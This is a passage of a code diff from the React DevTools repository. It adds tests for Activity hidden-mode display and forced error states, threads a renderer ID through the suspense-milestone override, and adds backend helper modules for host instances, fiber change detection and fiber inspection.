it('should update hidden state when Activity mode toggles', async () => {
|
||||
const Activity = React.Activity || React.unstable_Activity;
|
||||
|
||||
function Child() {
|
||||
return <div>child</div>;
|
||||
}
|
||||
|
||||
function App({hidden}) {
|
||||
return (
|
||||
<Activity mode={hidden ? 'hidden' : 'visible'}>
|
||||
<Child />
|
||||
</Activity>
|
||||
);
|
||||
}
|
||||
|
||||
// Start visible
|
||||
await actAsync(() => {
|
||||
render(<App hidden={false} />);
|
||||
});
|
||||
|
||||
let activityElement = store.getElementAtIndex(1);
|
||||
expect(activityElement.isActivityHidden).toBe(false);
|
||||
expect(activityElement.isCollapsed).toBe(false);
|
||||
|
||||
let childElement = store.getElementAtIndex(2);
|
||||
expect(childElement.isInsideHiddenActivity).toBe(false);
|
||||
|
||||
// Toggle to hidden — children remain but subtree collapses
|
||||
await actAsync(() => {
|
||||
render(<App hidden={true} />);
|
||||
});
|
||||
|
||||
activityElement = store.getElementAtIndex(1);
|
||||
expect(activityElement.isActivityHidden).toBe(true);
|
||||
expect(activityElement.isCollapsed).toBe(true);
|
||||
|
||||
// Expand to verify children are still marked
|
||||
store.toggleIsCollapsed(activityElement.id, false);
|
||||
|
||||
childElement = store.getElementAtIndex(2);
|
||||
expect(childElement.displayName).toBe('Child');
|
||||
expect(childElement.isInsideHiddenActivity).toBe(true);
|
||||
|
||||
// Toggle back to visible — subtree expands automatically
|
||||
await actAsync(() => {
|
||||
render(<App hidden={false} />);
|
||||
});
|
||||
|
||||
activityElement = store.getElementAtIndex(1);
|
||||
expect(activityElement.isActivityHidden).toBe(false);
|
||||
expect(activityElement.isCollapsed).toBe(false);
|
||||
|
||||
childElement = store.getElementAtIndex(2);
|
||||
expect(childElement.isInsideHiddenActivity).toBe(false);
|
||||
});
|
||||
|
||||
// @reactVersion >= 19
|
||||
it('should propagate hidden state to deeply nested children', async () => {
|
||||
const Activity = React.Activity || React.unstable_Activity;
|
||||
|
||||
function GrandChild() {
|
||||
return <div>grandchild</div>;
|
||||
}
|
||||
function Child() {
|
||||
return <GrandChild />;
|
||||
}
|
||||
|
||||
function App({hidden}) {
|
||||
return (
|
||||
<Activity mode={hidden ? 'hidden' : 'visible'}>
|
||||
<Child />
|
||||
</Activity>
|
||||
);
|
||||
}
|
||||
|
||||
await actAsync(() => {
|
||||
render(<App hidden={true} />);
|
||||
});
|
||||
|
||||
const activityElement = store.getElementAtIndex(1);
|
||||
expect(activityElement.displayName).toBe('Activity');
|
||||
expect(activityElement.isActivityHidden).toBe(true);
|
||||
expect(activityElement.isCollapsed).toBe(true);
|
||||
|
||||
// Expand to access children
|
||||
store.toggleIsCollapsed(activityElement.id, false);
|
||||
|
||||
const childElement = store.getElementAtIndex(2);
|
||||
expect(childElement.displayName).toBe('Child');
|
||||
expect(childElement.isInsideHiddenActivity).toBe(true);
|
||||
|
||||
const grandChildElement = store.getElementAtIndex(3);
|
||||
expect(grandChildElement.displayName).toBe('GrandChild');
|
||||
expect(grandChildElement.isInsideHiddenActivity).toBe(true);
|
||||
});
|
||||
|
||||
// @reactVersion >= 19
|
||||
it('should collapse hidden Activity subtree by default', async () => {
|
||||
const Activity = React.Activity || React.unstable_Activity;
|
||||
|
||||
function Child() {
|
||||
return <div>child</div>;
|
||||
}
|
||||
|
||||
function App({hidden}) {
|
||||
return (
|
||||
<Activity mode={hidden ? 'hidden' : 'visible'}>
|
||||
<Child />
|
||||
</Activity>
|
||||
);
|
||||
}
|
||||
|
||||
// Hidden Activity should be collapsed
|
||||
await actAsync(() => {
|
||||
render(<App hidden={true} />);
|
||||
});
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
▸ <Activity mode="hidden">
|
||||
`);
|
||||
|
||||
// Toggle to visible — should expand
|
||||
await actAsync(() => {
|
||||
render(<App hidden={false} />);
|
||||
});
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
▾ <Activity mode="visible">
|
||||
<Child>
|
||||
`);
|
||||
|
||||
// Toggle back to hidden — should collapse again
|
||||
await actAsync(() => {
|
||||
render(<App hidden={true} />);
|
||||
});
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
▸ <Activity mode="hidden">
|
||||
`);
|
||||
});
|
||||
|
||||
// @reactVersion >= 19
|
||||
it('should dim nested visible Activity inside a hidden Activity', async () => {
|
||||
const Activity = React.Activity || React.unstable_Activity;
|
||||
|
||||
function Leaf() {
|
||||
return <div>leaf</div>;
|
||||
}
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<Activity mode="hidden" name="outer">
|
||||
<Activity mode="visible" name="inner">
|
||||
<Leaf />
|
||||
</Activity>
|
||||
</Activity>
|
||||
);
|
||||
}
|
||||
|
||||
await actAsync(() => {
|
||||
render(<App />);
|
||||
});
|
||||
|
||||
// Outer Activity: hidden, collapsed, not dimmed itself
|
||||
const outerActivity = store.getElementAtIndex(1);
|
||||
expect(outerActivity.displayName).toBe('Activity');
|
||||
expect(outerActivity.nameProp).toBe('outer');
|
||||
expect(outerActivity.isActivityHidden).toBe(true);
|
||||
expect(outerActivity.isInsideHiddenActivity).toBe(false);
|
||||
expect(outerActivity.isCollapsed).toBe(true);
|
||||
|
||||
// Expand to access inner elements
|
||||
store.toggleIsCollapsed(outerActivity.id, false);
|
||||
|
||||
// Inner Activity: visible, but inside hidden outer so still dimmed
|
||||
const innerActivity = store.getElementAtIndex(2);
|
||||
expect(innerActivity.displayName).toBe('Activity');
|
||||
expect(innerActivity.nameProp).toBe('inner');
|
||||
expect(innerActivity.isActivityHidden).toBe(false);
|
||||
expect(innerActivity.isInsideHiddenActivity).toBe(true);
|
||||
|
||||
// Leaf: inside both, dimmed
|
||||
const leaf = store.getElementAtIndex(3);
|
||||
expect(leaf.displayName).toBe('Leaf');
|
||||
expect(leaf.isInsideHiddenActivity).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('collapseNodesByDefault:false', () => {
|
||||
beforeEach(() => {
|
||||
store.collapseNodesByDefault = false;
|
||||
@@ -981,6 +1244,7 @@ describe('Store', () => {
|
||||
|
||||
await actAsync(() => {
|
||||
agent.overrideSuspenseMilestone({
|
||||
rendererID: getRendererID(),
|
||||
suspendedSet: [
|
||||
store.getElementIDAtIndex(4),
|
||||
store.getElementIDAtIndex(8),
|
||||
@@ -1010,6 +1274,7 @@ describe('Store', () => {
|
||||
|
||||
await actAsync(() => {
|
||||
agent.overrideSuspenseMilestone({
|
||||
rendererID: getRendererID(),
|
||||
suspendedSet: [],
|
||||
});
|
||||
});
|
||||
@@ -3359,9 +3624,10 @@ describe('Store', () => {
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
<Activity>
|
||||
▸ <Activity mode="hidden">
|
||||
<Suspense name="outer-suspense">
|
||||
[suspense-root] rects={[{x:1,y:2,width:15,height:1}]}
|
||||
<Suspense name="inside-activity" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
|
||||
<Suspense name="outer-suspense" uniqueSuspenders={true} rects={null}>
|
||||
`);
|
||||
|
||||
@@ -3376,7 +3642,7 @@ describe('Store', () => {
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
▾ <Activity>
|
||||
▾ <Activity mode="visible">
|
||||
▾ <Suspense name="inside-activity">
|
||||
<Component key="inside-activity">
|
||||
▾ <Suspense name="outer-suspense">
|
||||
@@ -3395,9 +3661,10 @@ describe('Store', () => {
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
<Activity>
|
||||
▸ <Activity mode="hidden">
|
||||
<Suspense name="outer-suspense">
|
||||
[suspense-root] rects={[{x:1,y:2,width:15,height:1}, {x:1,y:2,width:15,height:1}]}
|
||||
<Suspense name="inside-activity" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
|
||||
<Suspense name="outer-suspense" uniqueSuspenders={true} rects={[{x:1,y:2,width:15,height:1}]}>
|
||||
<Suspense name="inner-suspense" uniqueSuspenders={false} rects={[{x:1,y:2,width:15,height:1}]}>
|
||||
`);
|
||||
@@ -3409,7 +3676,7 @@ describe('Store', () => {
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
▾ <Activity>
|
||||
▾ <Activity mode="visible">
|
||||
▾ <Suspense name="inside-activity">
|
||||
<Component key="inside-activity">
|
||||
▾ <Suspense name="outer-suspense">
|
||||
@@ -3602,7 +3869,7 @@ describe('Store', () => {
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
<Activity>
|
||||
▸ <Activity mode="hidden">
|
||||
`);
|
||||
|
||||
await actAsync(() => {
|
||||
@@ -3611,7 +3878,7 @@ describe('Store', () => {
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <Activity>
|
||||
▾ <Activity mode="visible">
|
||||
▾ <Component key="left">
|
||||
<div>
|
||||
`);
|
||||
|
||||
@@ -229,9 +229,9 @@ describe('Store component filters', () => {
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <Activity>
|
||||
▾ <Activity mode="visible">
|
||||
<div>
|
||||
<Activity>
|
||||
▸ <Activity mode="hidden">
|
||||
`);
|
||||
|
||||
await actAsync(
|
||||
@@ -244,6 +244,7 @@ describe('Store component filters', () => {
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
<div>
|
||||
<div>
|
||||
`);
|
||||
|
||||
await actAsync(
|
||||
@@ -255,9 +256,9 @@ describe('Store component filters', () => {
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <Activity>
|
||||
▾ <Activity mode="visible">
|
||||
<div>
|
||||
<Activity>
|
||||
▸ <Activity mode="hidden">
|
||||
`);
|
||||
}
|
||||
});
|
||||
@@ -871,12 +872,12 @@ describe('Store component filters', () => {
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <Root>
|
||||
▾ <Activity name="/">
|
||||
▾ <Activity name="/" mode="visible">
|
||||
▾ <Suspense>
|
||||
<h1>
|
||||
▾ <main>
|
||||
▾ <Layout>
|
||||
▾ <Activity name="/blog">
|
||||
▾ <Activity name="/blog" mode="visible">
|
||||
<h2>
|
||||
▾ <section>
|
||||
▾ <Page>
|
||||
@@ -896,12 +897,12 @@ describe('Store component filters', () => {
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <Activity name="/">
|
||||
▾ <Activity name="/" mode="visible">
|
||||
▾ <Suspense>
|
||||
<h1>
|
||||
▾ <main>
|
||||
▾ <Layout>
|
||||
▸ <Activity name="/blog">
|
||||
▸ <Activity name="/blog" mode="visible">
|
||||
[suspense-root] rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}
|
||||
<Suspense name="Unknown" uniqueSuspenders={false} rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}>
|
||||
<Suspense name="Page" uniqueSuspenders={true} rects={[{x:1,y:2,width:9,height:1}]}>
|
||||
@@ -912,12 +913,12 @@ describe('Store component filters', () => {
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <Root>
|
||||
▾ <Activity name="/">
|
||||
▾ <Activity name="/" mode="visible">
|
||||
▾ <Suspense>
|
||||
<h1>
|
||||
▾ <main>
|
||||
▾ <Layout>
|
||||
▾ <Activity name="/blog">
|
||||
▾ <Activity name="/blog" mode="visible">
|
||||
<h2>
|
||||
▾ <section>
|
||||
▾ <Page>
|
||||
|
||||
106
packages/react-devtools-shared/src/__tests__/storeForceError-test.js
vendored
Normal file
106
packages/react-devtools-shared/src/__tests__/storeForceError-test.js
vendored
Normal file
@@ -0,0 +1,106 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import type Store from 'react-devtools-shared/src/devtools/store';
|
||||
|
||||
import {getVersionedRenderImplementation} from './utils';
|
||||
|
||||
describe('Store forcing errors', () => {
|
||||
let React;
|
||||
let agent;
|
||||
let store: Store;
|
||||
let utils;
|
||||
let actAsync;
|
||||
|
||||
beforeEach(() => {
|
||||
agent = global.agent;
|
||||
store = global.store;
|
||||
store.collapseNodesByDefault = false;
|
||||
store.componentFilters = [];
|
||||
store.recordChangeDescriptions = true;
|
||||
|
||||
React = require('react');
|
||||
utils = require('./utils');
|
||||
|
||||
actAsync = utils.actAsync;
|
||||
});
|
||||
|
||||
const {render} = getVersionedRenderImplementation();
|
||||
|
||||
// @reactVersion >= 18.0
|
||||
it('resets forced error and fallback states when filters are changed', async () => {
|
||||
class AnyClassComponent extends React.Component {
|
||||
render() {
|
||||
return this.props.children;
|
||||
}
|
||||
}
|
||||
|
||||
class ErrorBoundary extends React.Component {
|
||||
state = {hasError: false};
|
||||
|
||||
static getDerivedStateFromError() {
|
||||
return {hasError: true};
|
||||
}
|
||||
|
||||
render() {
|
||||
if (this.state.hasError) {
|
||||
return (
|
||||
<AnyClassComponent key="fallback">
|
||||
<div key="did-error" />
|
||||
</AnyClassComponent>
|
||||
);
|
||||
}
|
||||
return this.props.children;
|
||||
}
|
||||
}
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<ErrorBoundary key="content">
|
||||
<div key="error-content" />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
}
|
||||
|
||||
await actAsync(async () => {
|
||||
render(<App />);
|
||||
});
|
||||
const rendererID = utils.getRendererID();
|
||||
await actAsync(() => {
|
||||
agent.overrideError({
|
||||
id: store.getElementIDAtIndex(2),
|
||||
rendererID,
|
||||
forceError: true,
|
||||
});
|
||||
});
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
▾ <ErrorBoundary key="content">
|
||||
▾ <AnyClassComponent key="fallback">
|
||||
<div key="did-error">
|
||||
`);
|
||||
|
||||
await actAsync(() => {
|
||||
agent.overrideError({
|
||||
id: store.getElementIDAtIndex(2),
|
||||
rendererID,
|
||||
forceError: false,
|
||||
});
|
||||
});
|
||||
|
||||
expect(store).toMatchInlineSnapshot(`
|
||||
[root]
|
||||
▾ <App>
|
||||
▾ <ErrorBoundary key="content">
|
||||
<div key="error-content">
|
||||
`);
|
||||
});
|
||||
});
|
||||
64
packages/react-devtools-shared/src/backend/DevToolsNativeHost.js
vendored
Normal file
64
packages/react-devtools-shared/src/backend/DevToolsNativeHost.js
vendored
Normal file
@@ -0,0 +1,64 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import type {HostInstance} from './types';
|
||||
|
||||
// Some environments (e.g. React Native / Hermes) don't support the performance API yet.
|
||||
export const getCurrentTime: () => number =
|
||||
// $FlowFixMe[method-unbinding]
|
||||
typeof performance === 'object' && typeof performance.now === 'function'
|
||||
? () => performance.now()
|
||||
: () => Date.now();
|
||||
|
||||
// Ideally, this should be injected from Reconciler config
|
||||
export function getPublicInstance(instance: HostInstance): HostInstance {
|
||||
// Typically the PublicInstance and HostInstance is the same thing but not in Fabric.
|
||||
// So we need to detect this and use that as the public instance.
|
||||
|
||||
// React Native. Modern. Fabric.
|
||||
if (typeof instance === 'object' && instance !== null) {
|
||||
if (typeof instance.canonical === 'object' && instance.canonical !== null) {
|
||||
if (
|
||||
typeof instance.canonical.publicInstance === 'object' &&
|
||||
instance.canonical.publicInstance !== null
|
||||
) {
|
||||
return instance.canonical.publicInstance;
|
||||
}
|
||||
}
|
||||
|
||||
// React Native. Legacy. Paper.
|
||||
if (typeof instance._nativeTag === 'number') {
|
||||
return instance._nativeTag;
|
||||
}
|
||||
}
|
||||
|
||||
// React Web. Usually a DOM element.
|
||||
return instance;
|
||||
}
|
||||
|
||||
export function getNativeTag(instance: HostInstance): number | null {
|
||||
if (typeof instance !== 'object' || instance === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Modern. Fabric.
|
||||
if (
|
||||
instance.canonical != null &&
|
||||
typeof instance.canonical.nativeTag === 'number'
|
||||
) {
|
||||
return instance.canonical.nativeTag;
|
||||
}
|
||||
|
||||
// Legacy. Paper.
|
||||
if (typeof instance._nativeTag === 'number') {
|
||||
return instance._nativeTag;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -147,6 +147,7 @@ type OverrideSuspenseParams = {
|
||||
};
|
||||
|
||||
type OverrideSuspenseMilestoneParams = {
|
||||
rendererID: number,
|
||||
suspendedSet: Array<number>,
|
||||
};
|
||||
|
||||
@@ -787,15 +788,14 @@ export default class Agent extends EventEmitter<{
|
||||
};
|
||||
|
||||
overrideSuspenseMilestone: OverrideSuspenseMilestoneParams => void = ({
|
||||
rendererID,
|
||||
suspendedSet,
|
||||
}) => {
|
||||
for (const rendererID in this._rendererInterfaces) {
|
||||
const renderer = ((this._rendererInterfaces[
|
||||
(rendererID: any)
|
||||
]: any): RendererInterface);
|
||||
if (renderer.supportsTogglingSuspense) {
|
||||
renderer.overrideSuspenseMilestone(suspendedSet);
|
||||
}
|
||||
const renderer = ((this._rendererInterfaces[
|
||||
(rendererID: any)
|
||||
]: any): RendererInterface);
|
||||
if (renderer.supportsTogglingSuspense) {
|
||||
renderer.overrideSuspenseMilestone(suspendedSet);
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
150
packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberChangeDetection.js
vendored
Normal file
150
packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberChangeDetection.js
vendored
Normal file
@@ -0,0 +1,150 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
|
||||
import type {HooksNode, HooksTree} from 'react-debug-tools/src/ReactDebugHooks';
|
||||
import type {WorkTagMap} from '../../types';
|
||||
|
||||
import {getFiberFlags} from './DevToolsFiberInspection';
|
||||
import is from 'shared/objectIs';
|
||||
|
||||
export function getContextChanged(prevFiber: Fiber, nextFiber: Fiber): boolean {
|
||||
let prevContext =
|
||||
prevFiber.dependencies && prevFiber.dependencies.firstContext;
|
||||
let nextContext =
|
||||
nextFiber.dependencies && nextFiber.dependencies.firstContext;
|
||||
|
||||
while (prevContext && nextContext) {
|
||||
// Note this only works for versions of React that support this key (e.v. 18+)
|
||||
// For older versions, there's no good way to read the current context value after render has completed.
|
||||
// This is because React maintains a stack of context values during render,
|
||||
// but by the time DevTools is called, render has finished and the stack is empty.
|
||||
if (prevContext.context !== nextContext.context) {
|
||||
// If the order of context has changed, then the later context values might have
|
||||
// changed too but the main reason it rerendered was earlier. Either an earlier
|
||||
// context changed value but then we would have exited already. If we end up here
|
||||
// it's because a state or props change caused the order of contexts used to change.
|
||||
// So the main cause is not the contexts themselves.
|
||||
return false;
|
||||
}
|
||||
if (!is(prevContext.memoizedValue, nextContext.memoizedValue)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
prevContext = prevContext.next;
|
||||
nextContext = nextContext.next;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export function didStatefulHookChange(
|
||||
prev: HooksNode,
|
||||
next: HooksNode,
|
||||
): boolean {
|
||||
// Detect the shape of useState() / useReducer() / useTransition() / useSyncExternalStore() / useActionState()
|
||||
const isStatefulHook =
|
||||
prev.isStateEditable === true ||
|
||||
prev.name === 'SyncExternalStore' ||
|
||||
prev.name === 'Transition' ||
|
||||
prev.name === 'ActionState' ||
|
||||
prev.name === 'FormState';
|
||||
|
||||
// Compare the values to see if they changed
|
||||
if (isStatefulHook) {
|
||||
return prev.value !== next.value;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
export function getChangedHooksIndices(
|
||||
prevHooks: HooksTree | null,
|
||||
nextHooks: HooksTree | null,
|
||||
): null | Array<number> {
|
||||
if (prevHooks == null || nextHooks == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const indices: Array<number> = [];
|
||||
let index = 0;
|
||||
|
||||
function traverse(prevTree: HooksTree, nextTree: HooksTree): void {
|
||||
for (let i = 0; i < prevTree.length; i++) {
|
||||
const prevHook = prevTree[i];
|
||||
const nextHook = nextTree[i];
|
||||
|
||||
if (prevHook.subHooks.length > 0 && nextHook.subHooks.length > 0) {
|
||||
traverse(prevHook.subHooks, nextHook.subHooks);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (didStatefulHookChange(prevHook, nextHook)) {
|
||||
indices.push(index);
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
traverse(prevHooks, nextHooks);
|
||||
return indices;
|
||||
}
|
||||
|
||||
export function getChangedKeys(prev: any, next: any): null | Array<string> {
|
||||
if (prev == null || next == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const keys = new Set([...Object.keys(prev), ...Object.keys(next)]);
|
||||
const changedKeys = [];
|
||||
// eslint-disable-next-line no-for-of-loops/no-for-of-loops
|
||||
for (const key of keys) {
|
||||
if (prev[key] !== next[key]) {
|
||||
changedKeys.push(key);
|
||||
}
|
||||
}
|
||||
|
||||
return changedKeys;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns true iff nextFiber actually performed any work and produced an update.
|
||||
* For generic components, like Function or Class components, prevFiber is not considered.
|
||||
*/
|
||||
export function didFiberRender(
|
||||
workTagMap: WorkTagMap,
|
||||
prevFiber: Fiber,
|
||||
nextFiber: Fiber,
|
||||
): boolean {
|
||||
switch (nextFiber.tag) {
|
||||
case workTagMap.ClassComponent:
|
||||
case workTagMap.FunctionComponent:
|
||||
case workTagMap.ContextConsumer:
|
||||
case workTagMap.MemoComponent:
|
||||
case workTagMap.SimpleMemoComponent:
|
||||
case workTagMap.ForwardRef:
|
||||
// For types that execute user code, we check PerformedWork effect.
|
||||
// We don't reflect bailouts (either referential or sCU) in DevTools.
|
||||
// TODO: This flag is a leaked implementation detail. Once we start
|
||||
// releasing DevTools in lockstep with React, we should import a
|
||||
// function from the reconciler instead.
|
||||
const PerformedWork = 0b000000000000000000000000001;
|
||||
return (getFiberFlags(nextFiber) & PerformedWork) === PerformedWork;
|
||||
// Note: ContextConsumer only gets PerformedWork effect in 16.3.3+
|
||||
// so it won't get highlighted with React 16.3.0 to 16.3.2.
|
||||
default:
|
||||
// For host components and other types, we compare inputs
|
||||
// to determine whether something is an update.
|
||||
return (
|
||||
prevFiber.memoizedProps !== nextFiber.memoizedProps ||
|
||||
prevFiber.memoizedState !== nextFiber.memoizedState ||
|
||||
prevFiber.ref !== nextFiber.ref
|
||||
);
|
||||
}
|
||||
}
|
||||
104
packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInspection.js
vendored
Normal file
104
packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInspection.js
vendored
Normal file
@@ -0,0 +1,104 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import type {ReactComponentInfo, ReactDebugInfo} from 'shared/ReactTypes';
|
||||
import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
|
||||
import type {WorkTagMap} from '../../types';
|
||||
import type {Rect} from '../../types';
|
||||
|
||||
// $FlowFixMe[method-unbinding]
|
||||
const toString = Object.prototype.toString;
|
||||
|
||||
export function isError(object: mixed): boolean {
|
||||
return toString.call(object) === '[object Error]';
|
||||
}
|
||||
|
||||
export function getFiberFlags(fiber: Fiber): number {
|
||||
// The name of this field changed from "effectTag" to "flags"
|
||||
return fiber.flags !== undefined ? fiber.flags : (fiber: any).effectTag;
|
||||
}
|
||||
|
||||
export function rootSupportsProfiling(root: any): boolean {
|
||||
if (root.memoizedInteractions != null) {
|
||||
// v16 builds include this field for the scheduler/tracing API.
|
||||
return true;
|
||||
} else if (
|
||||
root.current != null &&
|
||||
root.current.hasOwnProperty('treeBaseDuration')
|
||||
) {
|
||||
// The scheduler/tracing API was removed in v17 though
|
||||
// so we need to check a non-root Fiber.
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function isErrorBoundary(workTagMap: WorkTagMap, fiber: Fiber): boolean {
|
||||
const {tag, type} = fiber;
|
||||
|
||||
switch (tag) {
|
||||
case workTagMap.ClassComponent:
|
||||
case workTagMap.IncompleteClassComponent:
|
||||
const instance = fiber.stateNode;
|
||||
return (
|
||||
typeof type.getDerivedStateFromError === 'function' ||
|
||||
(instance !== null && typeof instance.componentDidCatch === 'function')
|
||||
);
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function getSecondaryEnvironmentName(
|
||||
debugInfo: ?ReactDebugInfo,
|
||||
index: number,
|
||||
): null | string {
|
||||
if (debugInfo != null) {
|
||||
const componentInfo: ReactComponentInfo = (debugInfo[index]: any);
|
||||
for (let i = index + 1; i < debugInfo.length; i++) {
|
||||
const debugEntry = debugInfo[i];
|
||||
if (typeof debugEntry.env === 'string') {
|
||||
// If the next environment is different then this component was the boundary
|
||||
// and it changed before entering the next component. So we assign this
|
||||
// component a secondary environment.
|
||||
return componentInfo.env !== debugEntry.env ? debugEntry.env : null;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function areEqualRects(
|
||||
a: null | Array<Rect>,
|
||||
b: null | Array<Rect>,
|
||||
): boolean {
|
||||
if (a === null) {
|
||||
return b === null;
|
||||
}
|
||||
if (b === null) {
|
||||
return false;
|
||||
}
|
||||
if (a.length !== b.length) {
|
||||
return false;
|
||||
}
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
const aRect = a[i];
|
||||
const bRect = b[i];
|
||||
if (
|
||||
aRect.x !== bRect.x ||
|
||||
aRect.y !== bRect.y ||
|
||||
aRect.width !== bRect.width ||
|
||||
aRect.height !== bRect.height
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
517
packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInternalReactConstants.js
vendored
Normal file
517
packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInternalReactConstants.js
vendored
Normal file
@@ -0,0 +1,517 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
|
||||
import type {WorkTagMap} from 'react-devtools-shared/src/backend/types';
|
||||
|
||||
import {
|
||||
getDisplayName,
|
||||
getWrappedDisplayName,
|
||||
} from 'react-devtools-shared/src/utils';
|
||||
import {gt, gte} from 'react-devtools-shared/src/backend/utils';
|
||||
import {
|
||||
CONCURRENT_MODE_NUMBER,
|
||||
CONCURRENT_MODE_SYMBOL_STRING,
|
||||
DEPRECATED_ASYNC_MODE_SYMBOL_STRING,
|
||||
PROVIDER_NUMBER,
|
||||
PROVIDER_SYMBOL_STRING,
|
||||
CONTEXT_NUMBER,
|
||||
CONTEXT_SYMBOL_STRING,
|
||||
CONSUMER_SYMBOL_STRING,
|
||||
STRICT_MODE_NUMBER,
|
||||
STRICT_MODE_SYMBOL_STRING,
|
||||
PROFILER_NUMBER,
|
||||
PROFILER_SYMBOL_STRING,
|
||||
REACT_MEMO_CACHE_SENTINEL,
|
||||
SCOPE_NUMBER,
|
||||
SCOPE_SYMBOL_STRING,
|
||||
FORWARD_REF_NUMBER,
|
||||
FORWARD_REF_SYMBOL_STRING,
|
||||
MEMO_NUMBER,
|
||||
MEMO_SYMBOL_STRING,
|
||||
SERVER_CONTEXT_SYMBOL_STRING,
|
||||
} from 'react-devtools-shared/src/backend/shared/ReactSymbols';
|
||||
|
||||
export type getDisplayNameForFiberType = (fiber: Fiber) => string | null;
|
||||
export type getTypeSymbolType = (type: any) => symbol | string | number;
|
||||
|
||||
export type ReactPriorityLevelsType = {
|
||||
ImmediatePriority: number,
|
||||
UserBlockingPriority: number,
|
||||
NormalPriority: number,
|
||||
LowPriority: number,
|
||||
IdlePriority: number,
|
||||
NoPriority: number,
|
||||
};
|
||||
|
||||
export function getInternalReactConstants(version: string): {
|
||||
getDisplayNameForFiber: getDisplayNameForFiberType,
|
||||
getTypeSymbol: getTypeSymbolType,
|
||||
ReactPriorityLevels: ReactPriorityLevelsType,
|
||||
ReactTypeOfWork: WorkTagMap,
|
||||
StrictModeBits: number,
|
||||
SuspenseyImagesMode: number,
|
||||
} {
|
||||
// **********************************************************
|
||||
// The section below is copied from files in React repo.
|
||||
// Keep it in sync, and add version guards if it changes.
|
||||
//
|
||||
// Technically these priority levels are invalid for versions before 16.9,
|
||||
// but 16.9 is the first version to report priority level to DevTools,
|
||||
// so we can avoid checking for earlier versions and support pre-16.9 canary releases in the process.
|
||||
